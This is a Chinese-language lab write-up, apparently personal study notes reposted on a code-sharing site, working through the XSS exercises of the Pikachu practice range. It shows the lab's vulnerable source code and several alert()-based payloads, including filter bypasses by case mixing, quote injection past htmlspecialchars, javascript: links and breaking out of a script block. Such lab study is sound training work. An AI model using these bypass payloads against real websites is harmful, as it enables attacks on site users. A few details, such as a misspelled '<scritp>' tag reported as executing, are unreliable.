pikachu靶場XSS詳解


一、反射型XSS

1、get型

源碼前后區別

前
<form method="get">
	<input class="xssr_in" type="text" name="message" maxlength="20">
	<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">輸入'kobe'試試-_-</p>
后
<form method="get">
	<input class="xssr_in" type="text" name="message" maxlength="20">
	<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">who is 123,i don't care!</p>

抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217191043.png?1609079597256
可以修改數據,且可以繞過前端校驗。

輸入<script>alert('xss')</script>
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217190732.png?1609079597257
出現彈窗

疑問,與sql注入的get注入有什么區別

2、post型

輸入賬號密碼
抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217192302.png?1609079597257
post型

與get類似
輸入<script>alert('xss')</script>
出現彈窗

二、存儲型

1、輸入123,並刷新
發現,123已經存進留言列表
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218110758.png?1609079597258

2、輸入特殊字符,觀察有無過濾
'<>?"/6666
沒有任何過濾
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218111355.png?1609079597258

3、構造payload
輸入<script>alert('xss')</script>
發現無論刷新多少次,都會出現彈窗

三、DOM型

1、輸入123,點擊click me,再點擊what do you see

1、輸入特殊字符,觀察有無過濾
'"<>?&6666

2、查看源碼

<script>
	function domxss(){
	var str = document.getElementById("text").value;
	document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
	//試試:'><img src="#" onmouseover="alert('xss')">
	//試試:' onclick="alert('xss')">,閉合掉就行
</script>

JS代碼,它通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str, 然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中

3、構造payload

' onclick=alert("xss")>

what do you see?
<a href='"+#' onclick=alert("xss")>+"'>what do you see?
分為兩部分 <a href='"+#' onclick=alert("xss")> 和 +"'>what do you see?
在第一部分中 '"+#'閉合,onclick=alert("xss")作為連接,
在第二部分中 +"'>what do you see?作為鏈接的觸發,因此不能根據這個顯示來判斷有無過濾。

拓展
在第一部分中,只需要前后閉合即可

四、DOM型-x

1、查看源碼

<script>
	function domxss(){
		var str = window.location.search;
		var txss = decodeURIComponent(str.split("text=")[1]);
		var xss = txss.replace(/\+/g,' ');
		//alert(xss);

		document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
	}
	//試試:'><img src="#" onmouseover="alert('xss')">
	//試試:' onclick="alert('xss')">,閉合掉就行
</script>

定義了一個domxss函數。它$\color{red}{利用 window.location.search 獲取瀏覽器中url的內容}$,然后賦值給 str,經過URL解碼和字符串分隔,取出URL中的參數內容,再把 “+” 替換為 “ ”(空格),賦值給 xss,最后把 xss 拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中。

2、與之前相同
構造payload

' onclick=alert("xss")>

3、觀察payload
發現在url中
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218205002.png?1609079597267
即,程序是在url中獲得參數內容

五、XSS盲打

1、輸入123456,123456。查看后台,查看后台源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112350.png?1609079597291
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112423.png?1609079597291

2、猜想,寫惡意的腳本,能否成功執行,

<scritp>
	alert("xss")
</scritp>

成功執行

六、xs過濾和繞過

1、測試那些符號或關鍵詞被過濾掉了
輸入
'<>?\"/6666
輸出
別說這些''<>?\"/6666'的話,不要怕,就是干!
沒有過濾符號

輸入
<script>alert("xss")</script>
輸出
別說這些'>'的話,不要怕,就是干!
猜測,過濾了script,嘗試雙寫,繞過過濾

輸入
<scr<script>ipt>alert("xss")</scr</script>ipt>
輸出
別說這些'>'的話,不要怕,就是干!
嘗試大小寫繞過

輸入
<sCriPt>alert("xss")</sCRipt>
輸出
彈窗,成功繞過

七、htmlspecialchars

1、測試輸入
輸入
123456
輸出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219121118.png?1609079597292

輸入
'<>?\"/6666
輸出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219122524.png?1609079597293
字符被實體化了

2、查看源碼
判斷為反射型xss,且是從url中獲得參數

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>輸入點啥吧!</p>";
    }else {
        //使用了htmlspecialchars進行處理,是不是就沒問題了呢,htmlspecialchars默認不對'處理
        $message=htmlspecialchars($_GET['message']);
        $html1.="<p class='notice'>你的輸入已經被記錄:</p>";
        //輸入的內容被處理后輸出到了input標簽的value屬性里面,試試:' onclick='alert(111)'
//        $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}

3、嘗試繞過
輸入
'alert(“xss“)'
源碼
![[Pasted image 20201219154508.png]]

輸入
1' onclick='alert(1)'
成功彈窗
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219154139.png?1609079597294

八、href輸出

1、測試輸入
輸入123456,查看網頁源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155343.png?1609079597294
並發現123456顯示在url上
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219161458.png?1609079597294

輸入'<>?\"/6666,查看網頁源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155549.png?1609079597294
有些字符被實體化了,僅剩' \ /

2、嘗試構造payload
當輸出在a標簽里的href屬性時,可以用js協議來執行js代碼
javascript:alert(0)
成功彈窗

九、js輸出

1、測試輸入
輸入123456,
沒有輸出
查看頁面源碼

<script>
    $ms='123456';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac確實厲害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('無論如何不要放棄心中所愛..')
        }

    }
</script>

輸入'<>?\"/6666,查看網頁源碼

<script>
    $ms=''<>?\"/6666';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac確實厲害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('無論如何不要放棄心中所愛..')
        }a

    }
</script>

沒有過濾字符

2、嘗試構造payload
'test'</script> <script> alert("xss")</script><script>
成功前后閉合,彈窗


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM